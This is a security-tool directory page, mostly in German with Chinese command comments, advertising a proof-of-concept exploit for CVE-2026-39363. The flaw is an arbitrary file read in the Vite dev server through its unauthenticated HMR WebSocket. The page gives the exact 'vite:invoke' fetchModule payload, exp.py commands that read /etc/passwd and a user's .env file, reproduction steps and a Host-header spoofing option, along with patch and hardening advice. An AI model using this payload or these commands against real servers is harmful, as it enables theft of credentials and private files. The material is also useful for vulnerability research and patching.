Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-39363 — 方便实用的CVE-2026-39363利用工具 | Kitploit
Tools/GitHubGitHub/sunynov/cve-2026-39363
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationPenetration Testing
GitHubsunynov/cve-2026-39363

CVE-2026-39363

方便实用的CVE-2026-39363利用工具

Repository anzeigen
vor 17 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-39363 — PoC für beliebiges Dateilesen im Vite-Dev-Server

Ein direkt ausführbarer PoC für GHSA-p9ff-h696-f583. Über einen nicht authentifizierten HMR-WebSocket wird fetchModule aufgerufen, wodurch die server.fs.allow-Beschränkung der HTTP-Schicht umgangen wird, um beliebige Dateien auf der Maschine des Dev-Servers zu lesen.

Betroffene Versionen

VersionslinieBetroffenBehoben
Vite 6>=6.0.0, <=6.4.16.4.2
Vite 7>=7.0.0, <=7.3.17.3.2
Vite 8>=8.0.0, <=8.0.48.0.5
vite-plus (VoidZero-Zweig)<=0.1.150.1.16

Voraussetzungen:

  • Der Dev-Server ist im Netzwerk erreichbar (Konfiguration --host / server.host), und
  • der HMR-WebSocket ist nicht deaktiviert (standardmäßig aktiviert, abschaltbar mit server.ws: false).

CVSS 3.1 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N), CWE-200 + CWE-306. CISA SSVC hat exploitation=poc, automatable=yes markiert.

Funktionsweise

  1. Leseversuche beliebiger Dateien auf der HTTP-Schicht werden von server.fs.allow blockiert (/@fs/<absoluter Pfad> → 403).
  2. Der Handshake des HMR-WebSockets prüft jedoch nur:
    • den Sec-WebSocket-Protocol: vite-hmr-Header sowie
    • nur bei vorhandenem Origin-Header den ?token=-Abfrageparameter (CWE-306: Nicht-Browser-Clients können sich ohne Origin-Header direkt verbinden).
  3. Nach dem Verbinden wird ein vite:invoke-Custom-Event gesendet, um die serverseitig registrierte Methode fetchModule mit file://<absoluter Pfad>?raw aufzurufen. fetchModule läuft direkt durch die Modul-Transform-Pipeline und umgeht die fs.allow-Prüfung vollständig, wobei der Dateiinhalt als export default "..." zurückgegeben wird (CWE-200).

Struktur der vite:invoke-Request-Nachricht (in v6/v7/v8 identisch):

root@kitploit:~
{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "name": "fetchModule",
    "id": "1send",
    "data": ["file:///etc/passwd?raw"]
  }
}

In der Serverantwort wird id zu 1response, data.data.result.code enthält den Dateiinhalt.

Verwendung

Nur die Python-3-Standardbibliothek erforderlich, keine Drittanbieter-Abhängigkeiten:

root@kitploit:~
# 读单个文件(POSIX 路径)
python exp.py http://target:5173 /etc/passwd

# Windows 路径 + 读多个文件
python exp.py http://target:5173 C:/Users/admin/.env C:/Windows/win.ini

# 保存到目录(文件名按路径自动安全化)
python exp.py http://target:5173 /etc/passwd /etc/hosts -o dump/

# HTTPS dev server
python exp.py https://target:5173 /etc/passwd

# 目标配置了 allowedHosts 域名白名单时,用 IP/localhost 当 Host 头
python exp.py http://192.168.1.10:5173 /etc/passwd --host-header localhost:5173

Parameter:

Verifizierungsnachweise

Der PoC in diesem Repository wurde in folgenden Umgebungen erfolgreich getestet (gelesen wurde secret.txt außerhalb der Dev-Server-Root; der HTTP-@fs-Pfad für dieselbe Datei liefert 403):

  • Vite 8.0.4 (vite --host 0.0.0.0, Windows)
  • Vite 6.4.1 (wie oben)
  • Vite 7.3.1: Quellcode-Vergleich bestätigt, dass die Nachrichtenstruktur mit v6/v8 übereinstimmt

Reproduktionsschritte (gleicher Ablauf wie der PoC):

root@kitploit:~
# 1. 起一个暴露到网络的受影响 dev server
npm i [email protected] && npx vite --host 0.0.0.0 --port 5173

# 2. HTTP 路径被 fs.allow 拦(预期 403)
curl -i 'http://target:5173/@fs/<root外绝对路径>?raw'   # -> 403

# 3. WebSocket 路径可读(本 PoC)
python exp.py http://target:5173 <root外绝对路径>

Erkennung und Härtung

  • Aktualisieren auf 6.4.2 / 7.3.2 / 8.0.5.
  • Den Dev-Server niemals an eine öffentliche Adresse binden (standardmäßig lauscht er nur auf localhost).
  • Für Produktions-Builds vite build + statisches Hosting verwenden, nicht vite dev ausführen.
  • Falls eine Aktualisierung nicht möglich ist: server.ws: false deaktiviert HMR, oder einen Reverse-Proxy einrichten, der nur lokalen Zugriff auf den Dev-Server-Port erlaubt.

Haftungsausschluss

Nur für autorisierte Penetrationstests, Schwachstellen-Reproduktion und Abwehrforschung. Die Verantwortung für Konsequenzen, die durch unbefugte Verwendung dieses Tools gegen Systeme anderer entstehen, liegt beim Nutzer.

Tool herunterladen
ParameterBeschreibung
urlZiel, z. B. http://192.168.1.10:5173
filesAbsolute Pfade zum Lesen, POSIX- oder Windows-Stil
--host-headerFälscht den Host-Header (standardmäßig der Zielhost). Standardmäßig sind nur IP/localhost erlaubt, benutzerdefinierte Domains müssen explizit konfiguriert werden
--ws-pathHMR-WebSocket-Pfad, standardmäßig / (muss angepasst werden, wenn der Zielserver server.hmr.path konfiguriert hat)
--timeoutTimeout in Sekunden pro Anfrage, Standard 10
-o/--output-dirSpeichert gelesene Inhalte in ein Verzeichnis